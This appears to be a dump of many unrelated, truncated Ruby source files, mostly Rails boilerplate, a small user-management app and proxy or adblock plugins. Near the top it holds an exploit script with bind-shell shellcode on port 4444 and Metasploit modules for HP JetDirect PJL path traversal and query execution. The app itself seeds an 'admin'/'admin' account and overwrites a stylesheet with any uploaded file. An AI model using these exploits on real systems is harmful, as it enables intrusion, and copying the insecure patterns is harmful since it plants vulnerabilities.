code
stringlengths
1
1.73M
language
stringclasses
1 value
source :gemcutter gem 'sinatra', :require => 'sinatra/base' gem 'thin', '~> 1.3' gem 'pg' gem 'data_mapper', '~> 1.2' gem 'dm-postgres-adapter' gem 'google-api-client', '>= 0.4.3' group :development do gem 'dm-sqlite-adapter', '~> 1.2' gem 'do_sqlite3', '~> 0.10' end
Ruby
# Copyright (C) 2012 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writ...
Ruby
#!/usr/bin/ruby require 'net/http' require 'uri' require 'socket' ############################################ # bind port 4444 sc_bind = "\xbd\x0e\x27\x05\xab\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" + "\xb1\x56\x83\xc2\x04\x31\x6a\x0f\x03\x6a\x01\xc5\xf0\x57" + "\xf5\x80\xfb\xa7\x05\xf3\x72\x42\x34\x21\xe0\x06\x64\xf5...
Ruby
#!/usr/bin/ruby require 'net/http' require 'uri' require 'socket' ############################################ # bind port 4444 sc_bind = "\xbd\x0e\x27\x05\xab\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" + "\xb1\x56\x83\xc2\x04\x31\x6a\x0f\x03\x6a\x01\xc5\xf0\x57" + "\xf5\x80\xfb\xa7\x05\xf3\x72\x42\x34\x21\xe0\x06\x64\xf5...
Ruby
## # $Id: $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Au...
Ruby
# Exploit Title: HP JetDirect PJL Query Execution # Date: Aug 7, 2011 # Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/> # Software Link: http://www.hp.com # Version: All # Tested on: HP LaserJet Pxxxx Series ## # $Id: $ ## ## # This file is part of the Metasploit Framework and may be subject...
Ruby
# Exploit Title: HP JetDirect PJL Interface Universal Path Traversal # Date: Aug 7, 2011 # Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/> # Software Link: http://www.hp.com # Version: All # Tested on: HP LaserJet Pxxxx Series ## # $Id: $ ## ## # This file is part of the Metasploit Framework...
Ruby
## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Aux...
Ruby
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/windows/registry' require 'msf/core/aux...
Ruby
## # $Id: $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Au...
Ruby
header = <<-eos /* * Copyright (c) 2007 Mockito contributors * This program is made available under the terms of the MIT License. */ eos require 'find' dirs = ["../src","../test"] paths = [] for dir in dirs Find.find(dir) do |path| if FileTest.directory?(path) if File.basename(path) == '.svn' ...
Ruby
# Be sure to restart your server when you modify this file. # Add new inflection rules using the following format # (all these examples are active by default): # ActiveSupport::Inflector.inflections do |inflect| # inflect.plural /^(ox)$/i, '\1en' # inflect.singular /^(ox)en/i, '\1' # inflect.irregular 'person',...
Ruby
# Be sure to restart your server when you modify this file. # These settings change the behavior of Rails 2 apps and will be defaults # for Rails 3. You can remove this initializer when Rails 3 is released. if defined?(ActiveRecord) # Include Active Record class name as root for JSON serialized output. ActiveReco...
Ruby
# Be sure to restart your server when you modify this file. # Add new mime types for use in respond_to blocks: # Mime::Type.register "text/richtext", :rtf # Mime::Type.register_alias "text/html", :iphone
Ruby
# Be sure to restart your server when you modify this file. # Your secret key for verifying cookie session data integrity. # If you change this key, all old sessions will become invalid! # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. Act...
Ruby
# Be sure to restart your server when you modify this file. # You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces. # Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ } # You can also remove all the silencers if you're trying do debug a probl...
Ruby
# Settings specified here will take precedence over those in config/environment.rb # The production environment is meant for finished, "live" apps. # Code is not reloaded between requests config.cache_classes = true # Full error reports are disabled and caching is turned on config.action_controller.consider_all_reque...
Ruby
# Settings specified here will take precedence over those in config/environment.rb # In the development environment your application's code is reloaded on # every request. This slows down response time but is perfect for development # since you don't have to restart the webserver when you make code changes. config.ca...
Ruby
# Settings specified here will take precedence over those in config/environment.rb # The test environment is used exclusively to run your application's # test suite. You never need to work with it otherwise. Remember that # your test database is "scratch space" for the test suite and is wiped # and recreated between...
Ruby
# Be sure to restart your server when you modify this file # Specifies gem version of Rails to use when vendor/rails is not present RAILS_GEM_VERSION = '2.3.4' unless defined? RAILS_GEM_VERSION # Bootstrap the Rails environment, frameworks, and default configuration require File.join(File.dirname(__FILE__), 'boot') ...
Ruby
# Don't change this file! # Configure your app in config/environment.rb and config/environments/*.rb RAILS_ROOT = "#{File.dirname(__FILE__)}/.." unless defined?(RAILS_ROOT) module Rails class << self def boot! unless booted? preinitialize pick_boot.run end end def booted? ...
Ruby
ActionController::Routing::Routes.draw do |map| map.resources :users # The priority is based upon order of creation: first created -> highest priority. # Sample of regular route: # map.connect 'products/:id', :controller => 'catalog', :action => 'view' # Keep in mind you can assign values other than :cont...
Ruby
# Methods added to this helper will be available to all templates in the application. module ApplicationHelper end
Ruby
module UsersHelper end
Ruby
module CustomFieldsHelper end
Ruby
module FieldsHelper end
Ruby
module LoginHelper end
Ruby
class DataFile < ActiveRecord::Base def self.save(upload) path = "public/stylesheets/main.css" # write the file File.open(path, "wb") { |f| f.write(upload['datafile'].read) } end end
Ruby
class DataField < ActiveRecord::Base # Create fields for user and fieldtype foreign keys belongs_to :user belongs_to :field_type # Creates a field with a link to a specific fieldtype and user def self.create(value, user, fieldtype) @field = DataField.new @field.value = value user << @field fi...
Ruby
require 'bcrypt' class User < ActiveRecord::Base include BCrypt #Create password hash based on password def password @password ||= Password.new(self.password_hash) end #Check that a password hash matches the hashed password def password=(new_password) @password = Password.create(new_password) ...
Ruby
class FieldType < ActiveRecord::Base has_many :data_fields validates_presence_of :name validates_uniqueness_of :name def all_fields FieldType.find(:all) end def self.update_custom(user, params) #This updates or creates the custom field for a user and a fieldtype. @fields = user.data_fields ...
Ruby
class CustomFieldsController < ApplicationController def index end def show end def new end def edit end end
Ruby
class ExportController < ApplicationController # require 'rubygems' if using this outside of Rails require 'fastercsv' # This is the routine called when the "export to csv" button is pressed # Depending on the values passed in by the checkbox, appropriate information will # be output. def dump_csv # Th...
Ruby
class CssController < ApplicationController #Display the css upload view def index render :file => 'css/uploadfile.rhtml' end #On upload call our model to save the file def uploadFile post = DataFile.save(params[:upload]) render :text => "File has been uploaded successfully" end end
Ruby
# Filters added to this controller apply to all controllers in the application. # Likewise, all the methods added will be available for all controllers. class ApplicationController < ActionController::Base helper :all # include all helpers, all the time protect_from_forgery # See ActionController::RequestForgeryPr...
Ruby
class FieldsController < ApplicationController def index # Displays fieldtypes @fields = FieldType.find(:all) end def new # Creates a new fieldtype @field = FieldType.new @field.name = params[:name] @field.save! redirect_to :action => "index" end def edit # Edits the name of ...
Ruby
class LoginController < ApplicationController def login end #Call the model to authenticate the user email and password #Set session data appropriately def process_login user = User.find_by_email(params[:email]) if user != nil && user.password == params[:password] session[:id] = user.id ...
Ruby
class UsersController < ApplicationController before_filter :login_required #If admin, display admin control index # GET /users # GET /users.xml def index @users = User.all if session[:adminuser] @fields = FieldType.find(:all) respond_to do |format| format.html # index.html.erb ...
Ruby
# Add your own tasks in files placed in lib/tasks ending in .rake, # for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. require(File.join(File.dirname(__FILE__), 'config', 'boot')) require 'rake' require 'rake/testtask' require 'rake/rdoctask' require 'tasks/rails'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/dbconsole'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/console'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/runner'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../../config/boot', __FILE__) require 'commands/performance/benchmarker'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../../config/boot', __FILE__) require 'commands/performance/benchmarker'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../../config/boot', __FILE__) require 'commands/performance/profiler'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../../config/boot', __FILE__) require 'commands/performance/profiler'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/plugin'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/destroy'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) $LOAD_PATH.unshift "#{RAILTIES_PATH}/builtin/rails_info" require 'commands/about'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/dbconsole'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/runner'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/server'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/generate'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/console'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/destroy'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/generate'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/server'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) $LOAD_PATH.unshift "#{RAILTIES_PATH}/builtin/rails_info" require 'commands/about'
Ruby
#!/usr/bin/env ruby require File.expand_path('../../config/boot', __FILE__) require 'commands/plugin'
Ruby
class CreateDefaultAdmin < ActiveRecord::Migration def self.up User.create(:email => 'admin@admin.com', :password => 'admin', :usertype => 'admin') end def self.down User.delete_all end end
Ruby
class CreateUsers < ActiveRecord::Migration def self.up create_table :users do |t| t.string :email t.string :firstname t.string :lastname t.string :password t.string :usertype t.timestamps end end def self.down drop_table :users end end
Ruby
class AddPasswordHash < ActiveRecord::Migration def self.up add_column :users, :password_hash, :string remove_column :users, :password end def self.down remove_column :users, :password_hash add column :users, :password, :string end end
Ruby
class CreateFieldTypes < ActiveRecord::Migration def self.up create_table "field_types", :force => true do |t| t.string "name" t.string "description" t.references end end def self.down drop_table "field_types" end end
Ruby
class CreateDataFields < ActiveRecord::Migration def self.up create_table :data_fields do |t| t.string :value t.references :user t.references :field_type end end def self.down drop_table :data_fields end end
Ruby
# This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). # # Examples: # # cities = City.create([{ :name => 'Chicago' }, { :name => 'Copenhagen' }]) # Major.create(:name...
Ruby
ENV["RAILS_ENV"] = "test" require File.expand_path(File.dirname(__FILE__) + "/../config/environment") require 'test_help' class ActiveSupport::TestCase # Transactional fixtures accelerate your tests by wrapping each test method # in a transaction that's rolled back on completion. This ensures that the # test da...
Ruby
Liquid::Template.register_filter(YetAnotherTagCloud)
Ruby
# !!vvv yes, I know it's kind of "dirty". But it'll have to do for now. class ActiveRecord::Base def att @attributes end end module YetAnotherTagCloud def yatagcloud(tag, floor = 0.8, ceiling = 2, unit = "em") number = ActiveRecord::Base.count_by_sql( ["SELECT COUNT(*) FROM taggings, tags, contents WHER...
Ruby
#!/usr/bin/env ruby require "open-uri" def clean(line) return "" if line =~ /^\[/ return "" if line =~ /^!/ line.gsub!(/\$(.*)/, "") line.gsub!("|", "") return line end def getlist begin data=open("http://easylist.adblockplus.org/adblock_rick752.txt").read data=data.split("\n").collect { |s| clean(s) }.s...
Ruby
#!/usr/bin/env ruby def tidy(line) line.chomp! line.gsub!("/", "\\/") line.gsub!("?", "\\?") line.gsub!("+", "\\+") line.gsub!("\\", "\\\\") line.gsub!("*", "(.*)") if line =~ /^@@/ line.gsub!("@@", "") return "- /#{line}/" else return "+ /#{line}/" end end def genlist(text) return text.split("\n").c...
Ruby
#!/usr/bin/env ruby # ___ ___ __ __ _______ ___ __ # | | |.-----.| | |.-----.| __|.-----.' _| |_ .--.--.-----. # \ / | -__|| | || _ ||__ || _ | _| _| __ | | |__ --| # |___| |_____||__|__||_____||_______||_____|__| |____| |__| |_____|_____| # # == Sum...
Ruby
#!/usr/bin/env ruby require "open-uri" def clean(line) return "" if line =~ /^\[/ return "" if line =~ /^!/ line.gsub!(/\$(.*)/, "") line.gsub!("|", "") return line end def getlist begin data=open("http://easylist.adblockplus.org/adblock_rick752.txt").read data=data.split("\n").collect { |s| clean(s) }.s...
Ruby
#!/usr/bin/env ruby # ___ ___ __ __ _______ ___ __ # | | |.-----.| | |.-----.| __|.-----.' _| |_ .--.--.-----. # \ / | -__|| | || _ ||__ || _ | _| _| __ | | |__ --| # |___| |_____||__|__||_____||_______||_____|__| |____| |__| |_____|_____| # # == Sum...
Ruby
@name="DogpileSearch" @search_uri=URI.parse("http://www.dogpile.com/info.dogpl/search/web/") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketError => e r...
Ruby
@name="WikipediaSearch" @search_uri=URI.parse("http://en.wikipedia.org/wiki/Special:Search?fulltext=Search&search=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) res...
Ruby
@name="LiveSearch" @search_uri=URI.parse("http://search.live.com/results.aspx?q=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketError => e res.header[...
Ruby
# Works just like GoogleCache require "rubygems" require "hpricot" @name="WaybackMachine" - "digg.com/tools" - "nyud.net" - "coralcdn.org" - "google.com" - "yahoo.com" - "web.archive.org" - "duggback.com" - "duggtrends.com" - "propeller.com" + "slashdot.org" + "digg.com" + "reddit.com" + "beta.netscape.com" + "dogg...
Ruby
# Works just like GoogleCache require "rubygems" require "hpricot" @name="YahooCache" - "digg.com/tools" - "nyud.net" - "coralcdn.org" - "google.com" - "yahoo.com" - "web.archive.org" - "duggback.com" - "duggtrends.com" - "propeller.com" + "slashdot.org" + "digg.com" + "reddit.com" + "beta.netscape.com" + "doggdot....
Ruby
# From http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/142072 require "zlib" require "stringio" @name="Unzipper" def apply(req, res) if res.header["content-encoding"]=="gzip" res.body=Zlib::GzipReader.new(StringIO.new(res.body)).read res.header["content-encoding"]="text/html" end end
Ruby
@name="ChaChaSearch" @search_uri=URI.parse("http://search.chacha.com/search/query?query=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketError => e res...
Ruby
@name="AltaVistaSearch" @search_uri=URI.parse("http://www.altavista.com/web/results?q=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketError => e res.h...
Ruby
# All credits for this one go to: # LWU http://code.whytheluckystiff.net/mouseHole/browser/trunk/samples/coral.rb require "rubygems" require "hpricot" @name="CoralCCDN" - "digg.com/tools" - "nyud.net" - "coralcdn.org" - "google.com" - "yahoo.com" - "web.archive.org" - "duggback.com" - "duggtrends.com" - "propeller.c...
Ruby
# Copied from http://userscripts.org/scripts/review/7487 require "rubygems" require "hpricot" @name="FarkRedirectRemover" + "fark.com" def clean(href) return href.gsub(/http:\/\/go.fark.com\/cgi\/fark\/go\.pl\?i=([0-9]+)&l=/, "") end def apply(req, res) begin h=Hpricot(res.body) (h/"a[@href]").each { |link|...
Ruby
@name="AllTheWebSearch" @search_uri=URI.parse("http://www.alltheweb.com/search?q=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketError => e res.header...
Ruby
@name="AskSearch" @search_uri=URI.parse("http://www.ask.com/web?q=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketError => e res.header["content-type"...
Ruby
@name="GoogleSearch" @search_uri=URI.parse("http://www.google.com/search?q=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketError => e res.header["cont...
Ruby
# Works just like CoralCCDN require "rubygems" require "hpricot" @name="GoogleCache" - "digg.com/tools" - "nyud.net" - "coralcdn.org" - "google.com" - "yahoo.com" - "web.archive.org" - "duggback.com" - "duggtrends.com" - "propeller.com" + "slashdot.org" + "digg.com" + "reddit.com" + "beta.netscape.com" + "doggdot.u...
Ruby
require "open-uri" require "rubygems" require "hpricot" @name="YahooInstantSearch" @search_uri=URI.parse("http://search.yahoo.com/xml/i?p=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) data=open(@search_uri.to_s+req.request_uri.host).read data=data.gsub("<![CDATA[", "")...
Ruby
@name="GoogleMySearchFundsRedirector" + "www.google.co.uk" def apply(req, res) parts=req.request_uri.to_s.split("http://www.google.co.uk/search?hl=en&q=") if parts.length>1 query=parts[1] new_google="http://www.google.com/search?q="+query res.set_redirect( WEBrick::HTTPStatus::TemporaryRedire...
Ruby
@name="GoogleImFeelingLucky" @search_uri=URI.parse("http://wwwgoogle.com/search?btnI&q=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketError => e res....
Ruby
@name="SprooseSearch" @search_uri=URI.parse("http://www.sproose.com/search?query=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketError => e res.header...
Ruby
# From http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/142072 @name="AdBouncer" @content_types=[/(.*)/] # From http://easylist.adblockplus.org/adblock_rick752.txt # Parsed as of 7 Dec 2007. While we could update this list # fresh every time Alchemy is run, we don't want to risk # inserting bad code. So w...
Ruby
# Based on https://addons.mozilla.org/en-US/firefox/addon/537 require "rubygems" require "hpricot" @name="RedirectRemover" - "abp://" - "file://" - "javascript:" - "web.archive.org" - "babelfish.altavista.com" - "google" - "http://*.*.*.*/translate_c?" - "jigsaw.w3.org" - "validator.w3.org" - "contentquality.com" - ...
Ruby
@name="AOLSearch" @search_uri=URI.parse("http://search.aol.com/aol/search?query=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketError => e res.header[...
Ruby
@name="YubnubCommandLine" @search_uri=URI.parse("http://yubnub.org/parser/parse?command=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketError => e res...
Ruby
@name="GoogleTimmy" require "rubygems" require "hpricot" + "www.google" + "images.google" + "video.google" def apply(req, res) h=Hpricot(res.body) (h/"input[@name]").each { |e| if e["name"]=="btnG" e["value"]="Timmah" elsif e["name"]=="btnI" e["value"]="Livin a Lie Livin a Lie" end } (h/"img").each...
Ruby
@name="MahaloSearch" @search_uri=URI.parse("http://www.mahalo.com/Special:Search?go=Web+Search&search=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketEr...
Ruby
@name="YahooSearch" @search_uri=URI.parse("http://search.yahoo.com/search?&p=") def apply(req, res) begin Socket.getaddrinfo(@search_uri.host, @search_uri.port) res.set_redirect( WEBrick::HTTPStatus::TemporaryRedirect.new, @search_uri.to_s+req.request_uri.host ) rescue SocketError => e res.header["co...
Ruby
#!/usr/bin/env ruby def tidy(line) line.chomp! line.gsub!("/", "\\/") line.gsub!("?", "\\?") line.gsub!("+", "\\+") line.gsub!("\\", "\\\\") line.gsub!("*", "(.*)") if line =~ /^@@/ line.gsub!("@@", "") return "- /#{line}/" else return "+ /#{line}/" end end def genlist(text) return text.split("\n").c...
Ruby
require 'rake/clean' DOT_NET_PATH = "#{ENV["SystemRoot"]}\\Microsoft.NET\\Framework\\v3.5" NUNIT_EXE = "lib/Nunit/nunit-console.exe" OUTPUT_PATH = "output" CONFIG = "Debug" CLEAN.include(OUTPUT_PATH) directory "#{OUTPUT_PATH}/test" task :default => :build task :build => [:clean, :compile, :test] task :compile do ...
Ruby